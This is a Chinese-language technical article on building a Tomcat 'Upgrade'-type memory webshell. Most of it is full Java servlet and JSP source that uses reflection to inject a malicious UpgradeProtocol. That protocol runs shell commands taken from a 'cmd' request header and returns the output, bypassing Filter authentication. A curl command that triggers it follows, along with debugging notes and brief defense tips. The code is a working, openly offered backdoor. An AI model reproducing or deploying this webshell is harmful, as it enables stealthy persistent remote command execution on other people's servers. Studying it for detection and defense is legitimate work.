Tomcat内存马之Upgrade构建调试分析
字数 931 2025-08-29 08:30:24

Tomcat Upgrade型内存马构建与调试分析

前言

在当今网络安全环境下,传统文件形式的后门容易被检测,内存马技术因其隐蔽性成为研究热点。本文将详细介绍Tomcat Upgrade型内存马的原理、构建和调试方法。

基本概念

Upgrade型内存马利用了Tomcat的协议升级机制,在请求进入Filter之前植入恶意代码,解决了以下问题:

  • 绕过原有Filter的鉴权
  • 解决反代导致的路径问题
  • 在请求处理早期阶段执行恶意代码

技术原理

Tomcat处理请求的流程中,Upgrade机制位于Filter之前,具体在ExecuteProcess阶段之间。通过构造恶意的UpgradeProtocol并插入到Tomcat的httpUpgradeProtocols中,可以实现内存马的植入。

核心实现

1. 基础示例

package com.al1ex.servlet;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;

@WebServlet("/evil")
public class TestUpgrade extends HttpServlet {
    static class MyUpgrade implements UpgradeProtocol {
        public String getHttpUpgradeName(boolean b) { return null; }
        public byte[] getAlpnIdentifier() { return new byte[0]; }
        public String getAlpnName() { return null; }
        public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) { return null; }
        public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) { return null; }
        public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, org.apache.coyote.Request request) { return null; }
        
        @Override
        public boolean accept(org.apache.coyote.Request request) {
            try {
                Field response = org.apache.coyote.Request.class.getDeclaredField("response");
                response.setAccessible(true);
                Response resp = (Response) response.get(request);
                resp.doWrite(ByteBuffer.wrap("Hello, this my test Upgrade!".getBytes()));
            } catch (Exception ignored) {}
            return false;
        }
    }
    
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        try {
            RequestFacade rf = (RequestFacade) req;
            Field requestField = RequestFacade.class.getDeclaredField("request");
            requestField.setAccessible(true);
            Request request1 = (Request) requestField.get(rf);
            new MyUpgrade().accept(request1.getCoyoteRequest());
        } catch (Exception ignored) {}
    }
}

2. 完整内存马实现

package com.al1ex.servlet;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.AbstractHttp11Protocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.HashMap;

@WebServlet("/evil")
public class TestUpgrade extends HttpServlet {
    static class MyUpgrade implements UpgradeProtocol {
        @Override
        public String getHttpUpgradeName(boolean b) { return null; }
        @Override
        public byte[] getAlpnIdentifier() { return new byte[0]; }
        @Override
        public String getAlpnName() { return null; }
        @Override
        public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) { return null; }
        @Override
        public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) { return null; }
        
        @Override
        public boolean accept(org.apache.coyote.Request request) {
            String p = request.getHeader("cmd");
            try {
                String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") 
                    ? new String[]{"cmd.exe", "/c", p} 
                    : new String[]{"/bin/sh", "-c", p};
                Field response = org.apache.coyote.Request.class.getDeclaredField("response");
                response.setAccessible(true);
                Response resp = (Response) response.get(request);
                byte[] result = new java.util.Scanner(
                    new ProcessBuilder(cmd).start().getInputStream(), "GBK")
                    .useDelimiter("\\A").next().getBytes();
                resp.setCharacterEncoding("GBK");
                resp.doWrite(ByteBuffer.wrap(result));
            } catch (Exception ignored) {}
            return false;
        }
    }
    
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        try {
            RequestFacade rf = (RequestFacade) req;
            Field requestField = RequestFacade.class.getDeclaredField("request");
            requestField.setAccessible(true);
            Request request1 = (Request) requestField.get(rf);
            
            Field connector = Request.class.getDeclaredField("connector");
            connector.setAccessible(true);
            Connector realConnector = (Connector) connector.get(request1);
            
            Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
            protocolHandlerField.setAccessible(true);
            AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);
            
            Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
            upgradeProtocolsField.setAccessible(true);
            HashMap upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler);
            
            MyUpgrade myUpgrade = new MyUpgrade();
            upgradeProtocols.put("hello", myUpgrade);
            upgradeProtocolsField.set(handler, upgradeProtocols);
        } catch (Exception ignored) {}
    }
}

3. JSP版本实现

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.http11.AbstractHttp11Protocol" %>
<%@ page import="org.apache.coyote.UpgradeProtocol" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.coyote.Processor" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="org.apache.coyote.Adapter" %>
<%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.nio.ByteBuffer" %>

<% 
class MyUpgrade implements UpgradeProtocol {
    public String getHttpUpgradeName(boolean isSSLEnabled) { return "hello"; }
    public byte[] getAlpnIdentifier() { return new byte[0]; }
    public String getAlpnName() { return null; }
    public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) { return null; }
    @Override
    public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) { return null; }
    
    @Override
    public boolean accept(org.apache.coyote.Request request) {
        String p = request.getHeader("cmd");
        try {
            String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") 
                ? new String[]{"cmd.exe", "/c", p} 
                : new String[]{"/bin/sh", "-c", p};
            Field response = org.apache.coyote.Request.class.getDeclaredField("response");
            response.setAccessible(true);
            org.apache.coyote.Response resp = (org.apache.coyote.Response) response.get(request);
            byte[] result = new java.util.Scanner(
                new ProcessBuilder(cmd).start().getInputStream(), "GBK")
                .useDelimiter("\\A").next().getBytes();
            resp.setCharacterEncoding("GBK");
            resp.doWrite(ByteBuffer.wrap(result));
        } catch (Exception ignored){}
        return false;
    }
}
%>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);

Field conn = Request.class.getDeclaredField("connector");
conn.setAccessible(true);
Connector connector = (Connector) conn.get(req);

Field proHandler = Connector.class.getDeclaredField("protocolHandler");
proHandler.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);

Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
HashMap upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler);

upgradeProtocols.put("hello", new MyUpgrade());
upgradeProtocolsField.set(handler, upgradeProtocols);
%>

调试分析

  1. 关键断点位置:StandardHostValve.java中的process函数调用处

  2. 调用流程:

    • org.apache.coyote.AbstractProcessorLight#process
    • SocketWrapperBase状态为OPEN_READ时调用对应的processor处理
    • 检查header中的Connection头是否为upgrade
    • 调用getUpgradeProtocol方法根据upgradedNamehttpUpgradeProtocols获取UpgradeProtocol
    • 调用UpgradeProtocol对象的accept方法
  3. 关键反射路径:

    Request -> Connector -> ProtocolHandler -> httpUpgradeProtocols
    

攻击测试

使用curl测试:

curl -H "Connection: Upgrade" -H "Upgrade: hello" -H "cmd: whoami" http://localhost:8080/evil

防御建议

  1. 监控Tomcat中httpUpgradeProtocols的异常修改
  2. 限制反射操作权限
  3. 检查异常Upgrade头请求
  4. 使用RASP进行运行时防护

版本注意事项

不同Tomcat版本可能有差异,实现时需注意:

  1. 类路径和包结构变化
  2. 字段名称可能不同
  3. 方法签名可能有差异

总结

Upgrade型内存马通过在Tomcat早期处理阶段植入恶意代码,具有较高的隐蔽性和绕过能力。理解其原理有助于更好地防御此类攻击。

Tomcat Upgrade型内存马构建与调试分析 前言 在当今网络安全环境下,传统文件形式的后门容易被检测,内存马技术因其隐蔽性成为研究热点。本文将详细介绍Tomcat Upgrade型内存马的原理、构建和调试方法。 基本概念 Upgrade型内存马利用了Tomcat的协议升级机制,在请求进入Filter之前植入恶意代码,解决了以下问题: 绕过原有Filter的鉴权 解决反代导致的路径问题 在请求处理早期阶段执行恶意代码 技术原理 Tomcat处理请求的流程中,Upgrade机制位于Filter之前,具体在 Execute 和 Process 阶段之间。通过构造恶意的 UpgradeProtocol 并插入到Tomcat的 httpUpgradeProtocols 中,可以实现内存马的植入。 核心实现 1. 基础示例 2. 完整内存马实现 3. JSP版本实现 调试分析 关键断点位置: StandardHostValve.java 中的 process 函数调用处 调用流程: org.apache.coyote.AbstractProcessorLight#process 当 SocketWrapperBase 状态为 OPEN_READ 时调用对应的processor处理 检查header中的 Connection 头是否为 upgrade 调用 getUpgradeProtocol 方法根据 upgradedName 从 httpUpgradeProtocols 获取 UpgradeProtocol 调用 UpgradeProtocol 对象的 accept 方法 关键反射路径: 攻击测试 使用curl测试: 防御建议 监控Tomcat中 httpUpgradeProtocols 的异常修改 限制反射操作权限 检查异常 Upgrade 头请求 使用RASP进行运行时防护 版本注意事项 不同Tomcat版本可能有差异,实现时需注意: 类路径和包结构变化 字段名称可能不同 方法签名可能有差异 总结 Upgrade型内存马通过在Tomcat早期处理阶段植入恶意代码,具有较高的隐蔽性和绕过能力。理解其原理有助于更好地防御此类攻击。